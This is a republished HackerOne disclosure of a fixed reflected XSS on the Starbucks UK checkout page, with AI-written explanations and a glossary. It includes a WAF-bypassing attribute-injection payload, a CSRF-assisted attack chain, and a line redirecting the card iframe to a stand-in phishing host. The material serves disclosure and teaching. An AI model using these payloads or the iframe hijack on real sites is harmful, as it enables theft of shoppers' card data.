Skip to content
XSS Disclosed report Intermediate

XSS on https://www.starbucks.co.uk (can lead to credit card theft) (/shop/paymentmethod)

A reflected cross-site scripting vulnerability existed on the Starbucks UK website because the full URL was reflected into a canonical link tag without proper encoding, allowing an attacker to inject arbitrary attributes. An attacker could exploit this to execute JavaScript when a user clicked the checkout button, potentially leading to credit card theft.

bayotop Follow

Originally disclosed on HackerOne

  • Triaged in 5 days
  • Fixed in 27 days
  • Paid in 27 days
  • Disclosed after 12 months

Hi,

Steps to reproduce:

  1. Run Firefox (these steps require Firefox).
  2. Log in on https://www.starbucks.co.uk/account/signin
  3. Go to https://www.starbucks.co.uk/shop/card/egift and add any card to your basket.
  4. Go to https://www.starbucks.co.uk/shop/paymentmethod?==%u0022a%20onclick=confirm(/-/g+this.ownerDocument.domain)%20id=%u0022checkoutButton
  5. After the page finishes loading click the "Checkout" title.
  6. A confirmation prompt is shown showing the current domain.

Note that these steps can be automated due to missing CSRF protection on the "Add to Basket" option. Effectively, all a user has to do is to load a page which is under attacker's control. I set up an example: http://bayo.rocks/f42e32a3-9e9a-4be0-8cfb-4b5d766b97d0/sbux_poc.html (this link is private).

Description:

I'll explain what is going on and why this works. First, take a look at https://www.starbucks.co.uk/shop/card/egift?reflected Looking at the source code you see the whole URL is reflected in a link tag.

HTML
<link rel="canonical" href="https://www.starbucks.co.uk/shop/card/egift?reflected" />

Trying to inject malicious code seems to be blocked by a WAF. However, all checks can be eventually bypassed to inject arbitrary attributes, e.g. https://www.starbucks.co.uk/shop/card/egift?%u0022%20id=%u0022injected results in:

HTML
<link rel="canonical" href="https://www.starbucks.co.uk/shop/card/egift?" id="injected" />

This works on every page (!) site-wide. However, I am not aware of any technique to get arbitrary JS execution at this point. However, there is a handy script loaded into the page that does the following:

JavaScript
$("#checkout").bind("click", function(e) {
    $("#checkoutButton").trigger("click")
});

You see where this is going. In case I find a page that has an element with the id checkout, I can inject id="checkoutButton" onclick="malicous_js" to the above link element and the injected JS will be executed once the checkout element is clicked.

Exactly such a page is https://www.starbucks.co.uk/shop/paymentmethod (requires authentication). You can see the credit card form being loaded on this page. Luckily, it is loaded from a different origin so the form data can't be read using the injected JS. However, a determined attacker can easily set up a exact-looking page and change the iframe's content to steal the victim's credit card information:

JavaScript
document.getElementById('payment-method-iframe').contentWindow.location.href = 'https://sbuxphishingsiteunderattackerscontrol.com';

Note that the checkout element is actually <body> so there is plenty of space where the user can click to execute the malicious JS.

Take into consideration that his could work in both IE and Chrome and the only thing preventing the PoC are the browsers' built in XSS protections. I am working on a bypass, but unfortunately I am not quite there, yet.

To sum up, I'll breakdown the injection from the PoC (==%u0022a%20onclick=confirm(/-/g+this.ownerDocument.domain)%20id=%u0022checkoutButton):

  1. == -> used to trick the query string parsing code that is calling decodeURIcomponent(). Otherwise decodeURIcomponent("%u0022") throws an exception resulting in the "checkout bind" never being called.
  2. %u0022 -> bypasses the WAF that is causing a 404 when the query contains "%22".
  3. a%20onclick= -> allows to inject any on*= handlers. Otherwise a server error is returned when a blacklisted onhandler is followed by an equals sign in the query.
  4. confirm(/-/g -> the WAF seems to dislike confirm(), alert() and so on. Adding a '/' after the left bracket makes him happy again.
  5. +this.ownerDocument.domain) -> the WAF doesn't like "document".

Impact

As mentioned, an attacker can easily trick users into disclosing their credit data. The victims might not even realize that they were tricked and their privacy was compromised. All they know is they entered their data on "https://starbucks.co.uk" as usual. Note that other "typical" possible ways to compromise the victims using XSS (BeEF hooks etc.) are, of course, still applicable.

Recommendation

Correctly encode user input before rendering it back into the page. You shouldn't rely only on your WAF / custom blacklisting to protect you. Consider auditing yout site and adding CSRF protection to actions like "Add to Basket". You might also consider fixing the bypasses I mentioned.

The original report as published on HackerOne, by bayotop. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Starbucks runs a UK online shop at www.starbucks.co.uk. Two parts of it matter here. The first is the e-gift card flow at /shop/card/egift, where a signed-in customer adds a card to a basket. The second is /shop/paymentmethod, the authenticated checkout page where the credit card form is loaded inside an iframe served from a different origin.

The report describes a reflected cross-site scripting issue that turns into something more serious than a script alert: because the payment form is framed, an attacker who can run JavaScript on the checkout page can redirect that iframe to a page they control and collect card details. The researcher describes how the flaw could lead to credit card theft.

Setup

The preconditions are short but specific:

  1. A Firefox browser. The steps require Firefox, according to the report.
  2. A logged-in account on https://www.starbucks.co.uk/account/signin, because the payment method page is only reachable after authentication.
  3. A basket containing any e-gift card, added at https://www.starbucks.co.uk/shop/card/egift.

No special tooling is mentioned beyond the browser and a page under the attacker's control. The researcher also notes that the whole flow can be automated because the "Add to Basket" action has no CSRF protection, so the victim only has to load an attacker-controlled page.

Finding it

The starting observation is simple. Requesting a shop page with a query string reflects the whole URL back into a <link> tag. For example, https://www.starbucks.co.uk/shop/card/egift?reflected produces:

HTML
<link rel="canonical" href="https://www.starbucks.co.uk/shop/card/egift?reflected" />

Trying to inject script directly is blocked by a WAF, but the researcher found that the checks can be bypassed to inject arbitrary attributes. Requesting https://www.starbucks.co.uk/shop/card/egift?%u0022%20id=%u0022injected returns:

HTML
<link rel="canonical" href="https://www.starbucks.co.uk/shop/card/egift?" id="injected" />

This attribute injection works on every page site-wide, according to the report. On its own that is not JavaScript execution, and the researcher says plainly that at that point they were not aware of a technique to get arbitrary JS execution from it.

The missing piece comes from a script loaded into the page at https://www.starbucks.co.uk/static/resource/shop_js/676938998_en-GB, which contains:

JavaScript
$("#checkout").bind("click", function(e) {
    $("#checkoutButton").trigger("click")
});

Any click on the element with id checkout triggers a click on the element with id checkoutButton. So if a page has an element with id checkout, injecting id="checkoutButton" onclick="malicious_js" onto the reflected link element means the injected handler fires when the user clicks the checkout element. The payment method page, https://www.starbucks.co.uk/shop/paymentmethod, is exactly such a page, and it is the page that loads the credit card form.

Exploitation

Step 1: sign in

Log in at https://www.starbucks.co.uk/account/signin. The payment method page requires authentication.

Step 2: add a card to the basket

Go to https://www.starbucks.co.uk/shop/card/egift and add any card to the basket. Because this action lacks CSRF protection, this step can be performed on the victim's behalf by an attacker-controlled page.

Step 3: load the crafted payment method URL

HTTP
https://www.starbucks.co.uk/shop/paymentmethod?==%u0022a%20onclick=confirm(/-/g+this.ownerDocument.domain)%20id=%u0022checkoutButton

The query string is built to get past several layers of filtering, and the researcher breaks it down piece by piece:

  1. == tricks the query string parsing code in shop_js/676938998_en-GB, which calls decodeURIComponent(). Without it, decodeURIComponent("%u0022") throws an exception and the checkout bind is never called.
  2. %u0022 bypasses the WAF, which returns a 404 when the query contains %22.
  3. a%20onclick= allows injection of any on* handler. A blacklisted handler followed by an equals sign in the query otherwise produces a server error.
  4. confirm(/-/g gets past a WAF rule that dislikes confirm(), alert() and similar. Adding a / after the left bracket satisfies it.
  5. +this.ownerDocument.domain) avoids the literal string document, which the WAF also dislikes.

The result is a reflected link element carrying an injected onclick handler and id="checkoutButton".

Step 4: click the checkout element

After the page finishes loading, click the "Checkout" title. The page's own script sees the click on #checkout, triggers a click on #checkoutButton, and the injected handler runs. A confirmation prompt appears showing the current domain, which is the payload's confirm(/-/g+this.ownerDocument.domain) proving execution.

The researcher notes that the checkout element is actually <body>, so there is plenty of page area the user can click to fire the handler.

Step 5: what the attacker does with it

The credit card form is loaded from a different origin, so the injected JavaScript cannot read the form data directly. The researcher is explicit about that limit. The workaround is to replace the iframe's content with an attacker-controlled page that looks identical:

JavaScript
document.getElementById('payment-method-iframe').contentWindow.location.href = 'https://sbuxphishingsiteunderattackerscontrol.com';

The victim then types card details into what appears to be the usual Starbucks checkout.

Browser conditions

The researcher states that this could work in both IE and Chrome, and that the only thing preventing it there are the browsers' built-in XSS protections. A bypass was being worked on but was not ready at the time of the report.

Root cause

The core mistake is that user input is rendered back into the page without correct encoding. The full URL is placed into the href attribute of a canonical link tag, and the query string can break out of that attribute and add new ones. The site relies on a WAF and custom blacklisting rather than output encoding, and each of those filters has a gap: %22 is blocked but %u0022 is not, blacklisted handler names followed by = are blocked but a leading a gets around it, and confirm( and document are filtered but can be spelled in ways the filter does not recognise.

The second half of the chain is the site's own click-forwarding script. Binding a click on #checkout to a trigger on #checkoutButton gives an injected element with that id a way to execute its handler from an ordinary user click. The missing CSRF protection on "Add to Basket" removes the last obstacle, because the attacker can prepare the basket without the victim doing anything.

Impact

An attacker can trick a signed-in user into disclosing credit card data. The victim may not realise anything happened, because from their point of view they entered their details on https://starbucks.co.uk as usual. The researcher also notes that the more typical uses of XSS, such as BeEF hooks, remain applicable. The card-theft path depends on the victim being authenticated, having a basket prepared, and clicking the checkout element; the report only says the approach could work in IE and Chrome, held back by built-in XSS protections.

Fix

The recommendation is to correctly encode user input before rendering it back into the page, and not to rely only on the WAF or custom blacklisting. The researcher also suggests auditing the site, adding CSRF protection to actions such as "Add to Basket", and fixing the bypasses described in the report.

Variants to test

  1. Canonical link reflection. Request any page with a harmless query string and inspect the <link rel="canonical"> tag. A positive result is the query string appearing unencoded inside the href attribute.
  2. Attribute injection through encoding tricks. Try encoded quote characters such as %u0022 where %22 is blocked, and check whether a new attribute appears in the rendered tag.
  3. Click-forwarding scripts. Search the site's JavaScript for handlers that bind one element's click to a trigger on another id. A positive result is a script that lets an injected element with a known id run its handler from a normal user click.
  4. Filter gaps around handler names and keywords. Test whether a leading character before a blacklisted handler name, or a character inserted inside a function name, changes the server response from an error to a rendered page.
  5. CSRF on basket actions. Submit an "Add to Basket" request from a different origin without a token. A positive result is the item being added to the victim's basket.
  6. Framed payment forms. Check whether sensitive forms are loaded in iframes from another origin and whether the parent page can navigate that iframe. A positive result is the parent being able to change the iframe's location.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

Starbucks runs a UK online shop at www.starbucks.co.uk. Two parts of it matter for this story. The first is the e-gift card page at /shop/card/egift, where a signed-in customer picks a card and adds it to a basket. The second is /shop/paymentmethod, the checkout page you only reach after signing in, where the credit card form is loaded inside a frame (an iframe) that comes from a different website.

A security researcher found that the shop takes part of the web address you type and prints it back into the page without cleaning it up properly. That is the classic recipe for a vulnerability called cross-site scripting, or XSS: the site ends up running code that the attacker wrote, as if it were the site's own code. In this case the attacker's code could not read the card form directly, because the form lives on another origin. But the attacker could swap the frame's contents for a lookalike page and collect the card details the victim types in. The researcher describes how the flaw could lead to credit card theft.

Below I walk through the same steps the researcher took, in the same order, explaining each idea from scratch.

The pieces you need to know first

Before the steps make sense, a few everyday ideas:

  • A web address and its query string. When you see https://example.com/page?name=value, everything after the ? is called the query string. It is a list of little labels and values that the page can read. Sites often use it to remember what you searched for or which product you looked at.
  • Reflection. If a site takes a value from the query string and prints it back into the page, that is called reflection. It is like a mirror: you say something, the page says it back. Harmless if the site cleans the value first; dangerous if it does not.
  • HTML attributes. A web page is written in a language called HTML. Tags like <link ... /> can carry extra settings called attributes, written as name="value". For example href="..." tells the browser where a link points. If an attacker can sneak a new attribute into a tag, they can change how the page behaves.
  • JavaScript. The programming language that runs inside your browser and makes pages interactive. If an attacker can get their own JavaScript to run on a site's page, they can do things on the victim's behalf.
  • A WAF. A web application firewall. It sits in front of a website and blocks requests that look malicious, a bit like a bouncer at a door checking names on a list. It is a filter, not a fix: if the underlying page is still unsafe, a cleverly worded request can slip past.
  • An iframe. A window inside a page that shows another page. The card form here is shown in an iframe.
  • Origin. The combination of scheme, host and port, roughly "which website". Pages from one origin are not allowed to read the contents of pages from another origin. That rule is what stops the attacker's JavaScript from simply reading the card form.
  • CSRF. Cross-site request forgery. It means another website can make your browser send a request to a site you are logged into, without you meaning to. If an action like "Add to Basket" has no protection against this, an attacker's page can add items to your basket for you.
  • A cookie or session. When you sign in, the site gives your browser a small piece of data so it can recognise you on the next request. That is why you stay logged in. It is also why an attacker's page can act as you if it can make your browser send requests to the site.

Setting up

The preconditions are short but specific:

  1. A Firefox browser. The steps require Firefox, according to the report.
  2. A logged-in account on https://www.starbucks.co.uk/account/signin, because the payment method page is only reachable after authentication.
  3. A basket containing any e-gift card, added at https://www.starbucks.co.uk/shop/card/egift.

No special tooling is mentioned beyond the browser and a page under the attacker's control. The researcher also notes that the whole flow can be automated because the "Add to Basket" action has no CSRF protection, so the victim only has to load an attacker-controlled page. In plain terms: the attacker does not need the victim to click "add to basket" themselves; the attacker's page can do it for them, using the victim's existing login.

Finding it

The starting observation is simple. Requesting a shop page with a query string reflects the whole URL back into a <link> tag. For example, https://www.starbucks.co.uk/shop/card/egift?reflected produces:

HTML
<link rel="canonical" href="https://www.starbucks.co.uk/shop/card/egift?reflected" />

Line by line: this is a single HTML tag. link is a tag that tells the browser about a related resource. rel="canonical" says "this is the official address of this page", which search engines use. href="..." holds the address. The important part is that the query string ?reflected appears inside the href value exactly as it was typed. The site copied the visitor's input straight into the page.

Trying to inject script directly is blocked by a WAF, but the researcher found that the checks can be bypassed to inject arbitrary attributes. Requesting https://www.starbucks.co.uk/shop/card/egift?%u0022%20id=%u0022injected returns:

HTML
<link rel="canonical" href="https://www.starbucks.co.uk/shop/card/egift?" id="injected" />

Line by line: %u0022 is an encoded double quote character. %20 is an encoded space. So the input, once decoded, is a double quote, a space, id=, another double quote, and the word injected. In the rendered tag, the first quote closes the href value early, the space ends that attribute, and id="injected" becomes a brand new attribute on the tag. The attacker has broken out of the value they were supposed to be inside and added their own setting. That is called attribute injection.

This attribute injection works on every page site-wide, according to the report. On its own that is not JavaScript execution, and the researcher says plainly that at that point they were not aware of a technique to get arbitrary JS execution from it. Adding an attribute is one thing; getting the browser to run code is another.

The missing piece comes from a script loaded into the page at https://www.starbucks.co.uk/static/resource/shop_js/676938998_en-GB, which contains:

JavaScript
$("#checkout").bind("click", function(e) {
    $("#checkoutButton").trigger("click")
});

Line by line: $ is a shorthand for jQuery, a popular JavaScript library. $("#checkout") finds the element on the page whose id is checkout. .bind("click", function(e) { ... }) says: when that element is clicked, run this function. Inside the function, $("#checkoutButton") finds the element whose id is checkoutButton, and .trigger("click") pretends someone clicked it. In everyday terms, this script is a relay: click the big checkout area, and the script presses the actual checkout button for you.

Any click on the element with id checkout triggers a click on the element with id checkoutButton. So if a page has an element with id checkout, injecting id="checkoutButton" onclick="malicious_js" onto the reflected link element means the injected handler fires when the user clicks the checkout element. The payment method page, https://www.starbucks.co.uk/shop/paymentmethod, is exactly such a page, and it is the page that loads the credit card form. The attacker's injected element now has the id the relay script is looking for, and carries an onclick attribute, which is a setting that says "run this JavaScript when clicked".

Exploitation

Step 1: sign in

Log in at https://www.starbucks.co.uk/account/signin. The payment method page requires authentication. Without a signed-in session, the checkout page is not reachable, so the attacker needs the victim to be logged in, which is normal for a shopper.

Step 2: add a card to the basket

Go to https://www.starbucks.co.uk/shop/card/egift and add any card to the basket. Because this action lacks CSRF protection, this step can be performed on the victim's behalf by an attacker-controlled page. In other words, the attacker's page can quietly send the "add to basket" request using the victim's browser and login, so the victim does not have to do anything.

Step 3: load the crafted payment method URL

HTTP
https://www.starbucks.co.uk/shop/paymentmethod?==%u0022a%20onclick=confirm(/-/g+this.ownerDocument.domain)%20id=%u0022checkoutButton

The query string is built to get past several layers of filtering, and the researcher breaks it down piece by piece:

  1. == tricks the query string parsing code in shop_js/676938998_en-GB, which calls decodeURIComponent(). Without it, decodeURIComponent("%u0022") throws an exception and the checkout bind is never called. decodeURIComponent() is a built-in JavaScript function that turns encoded characters like %u0022 back into normal ones. If it is handed something it cannot decode, it stops with an error, and the rest of the script, including the click relay, never runs. The extra == keeps the parser happy so the relay is set up.
  2. %u0022 bypasses the WAF, which returns a 404 when the query contains %22. A 404 is the "page not found" response. The WAF recognises the common encoding of a double quote but not this alternative spelling, so the request gets through.
  3. a%20onclick= allows injection of any on* handler. A blacklisted handler followed by an equals sign in the query otherwise produces a server error. The leading a and space change the shape of the input just enough that the filter does not recognise the dangerous pattern.
  4. confirm(/-/g gets past a WAF rule that dislikes confirm(), alert() and similar. Adding a / after the left bracket satisfies it. confirm() is a browser function that shows an OK/Cancel popup; alert() shows a simple message. The researcher uses confirm() here as a harmless way to prove code ran.
  5. +this.ownerDocument.domain) avoids the literal string document, which the WAF also dislikes. this.ownerDocument.domain is a roundabout way of asking the browser "which website is this page on?". The + joins it onto the text before it, and /-/g is a small pattern that replaces every dash with itself, so the popup shows the domain name.

The result is a reflected link element carrying an injected onclick handler and id="checkoutButton".

Step 4: click the checkout element

After the page finishes loading, click the "Checkout" title. The page's own script sees the click on #checkout, triggers a click on #checkoutButton, and the injected handler runs. A confirmation prompt appears showing the current domain, which is the payload's confirm(/-/g+this.ownerDocument.domain) proving execution. If the popup shows the site's domain, the attacker's code really did run inside the shop's page.

The researcher notes that the checkout element is actually <body>, so there is plenty of page area the user can click to fire the handler. <body> is the tag that wraps everything visible on a page, so almost any click counts.

Step 5: what the attacker does with it

The credit card form is loaded from a different origin, so the injected JavaScript cannot read the form data directly. The researcher is explicit about that limit. The workaround is to replace the iframe's content with an attacker-controlled page that looks identical:

JavaScript
document.getElementById('payment-method-iframe').contentWindow.location.href = 'https://sbuxphishingsiteunderattackerscontrol.com';

Line by line: document.getElementById('payment-method-iframe') finds the iframe on the page by its id. .contentWindow reaches into that frame. .location.href = '...' tells the frame to navigate to a new address. The result is that the real card form is replaced by a lookalike page on the attacker's server. The victim then types card details into what appears to be the usual Starbucks checkout.

Browser conditions

The researcher states that this could work in both IE and Chrome, and that the only thing preventing it there are the browsers' built-in XSS protections. A bypass was being worked on but was not ready at the time of the report. The researcher is saying the browsers' built-in XSS protections, not the site's own code, were the only thing standing in the way in those browsers.

Root cause

The core mistake is that user input is rendered back into the page without correct encoding. The full URL is placed into the href attribute of a canonical link tag, and the query string can break out of that attribute and add new ones. The site relies on a WAF and custom blacklisting rather than output encoding, and each of those filters has a gap: %22 is blocked but %u0022 is not, blacklisted handler names followed by = are blocked but a leading a gets around it, and confirm( and document are filtered but can be spelled in ways the filter does not recognise.

The second half of the chain is the site's own click-forwarding script. Binding a click on #checkout to a trigger on #checkoutButton gives an injected element with that id a way to execute its handler from an ordinary user click. The missing CSRF protection on "Add to Basket" removes the last obstacle, because the attacker can prepare the basket without the victim doing anything.

Impact

An attacker can trick a signed-in user into disclosing credit card data. The victim may not realise anything happened, because from their point of view they entered their details on https://starbucks.co.uk as usual. The researcher also notes that the more typical uses of XSS, such as BeEF hooks, remain applicable. BeEF is a tool that lets an attacker control a victim's browser once script runs; the report mentions it as another thing the same flaw would allow. The card-theft path depends on the victim being authenticated, having a basket prepared, and clicking the checkout element; the report only says the approach could work in IE and Chrome, held back by built-in XSS protections.

Fix

The recommendation is to correctly encode user input before rendering it back into the page, and not to rely only on the WAF or custom blacklisting. Encoding means turning characters like quotes into harmless text so they cannot break out of an attribute. The researcher also suggests auditing the site, adding CSRF protection to actions such as "Add to Basket", and fixing the bypasses described in the report.

Variants to test

  1. Canonical link reflection. Request any page with a harmless query string and inspect the <link rel="canonical"> tag. A positive result is the query string appearing unencoded inside the href attribute.
  2. Attribute injection through encoding tricks. Try encoded quote characters such as %u0022 where %22 is blocked, and check whether a new attribute appears in the rendered tag.
  3. Click-forwarding scripts. Search the site's JavaScript for handlers that bind one element's click to a trigger on another id. A positive result is a script that lets an injected element with a known id run its handler from a normal user click.
  4. Filter gaps around handler names and keywords. Test whether a leading character before a blacklisted handler name, or a character inserted inside a function name, changes the server response from an error to a rendered page.
  5. CSRF on basket actions. Submit an "Add to Basket" request from a different origin without a token. A positive result is the item being added to the victim's basket.
  6. Framed payment forms. Check whether sensitive forms are loaded in iframes from another origin and whether the parent page can navigate that iframe. A positive result is the parent being able to change the iframe's location.

Glossary

  • Attribute: a setting written inside an HTML tag, such as href="..." or id="...".
  • Attribute injection: sneaking an extra attribute into a tag by breaking out of an existing value.
  • BeEF: a tool that lets an attacker control a victim's browser once script runs on a page.
  • Canonical link: a <link rel="canonical"> tag that tells search engines the official address of a page.
  • Cookie / session: a small piece of data the site gives your browser after you sign in so it can recognise you on later requests.
  • CSRF (cross-site request forgery): another website making your browser send a request to a site you are logged into, without your intent.
  • decodeURIComponent(): a JavaScript function that turns encoded characters such as %u0022 back into normal ones.
  • Encoding: converting characters into a safe representation so they cannot be interpreted as code or markup.
  • HTML: the language web pages are written in, made of tags and attributes.
  • Iframe: a window inside a page that shows another page.
  • JavaScript: the programming language that runs in the browser and makes pages interactive.
  • jQuery: a popular JavaScript library that makes finding and manipulating page elements easier.
  • onclick: an HTML attribute that says which JavaScript to run when an element is clicked.
  • Origin: the combination of scheme, host and port that identifies which website a page belongs to; pages from one origin cannot read another's contents.
  • Query string: the part of a web address after the ?, made of labels and values the page can read.
  • Reflection: a site printing a value from the request back into the page.
  • WAF (web application firewall): a filter in front of a website that blocks requests that look malicious.
  • XSS (cross-site scripting): a vulnerability where an attacker gets their own code to run inside a site's page.

More by bayotop

View all

7 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.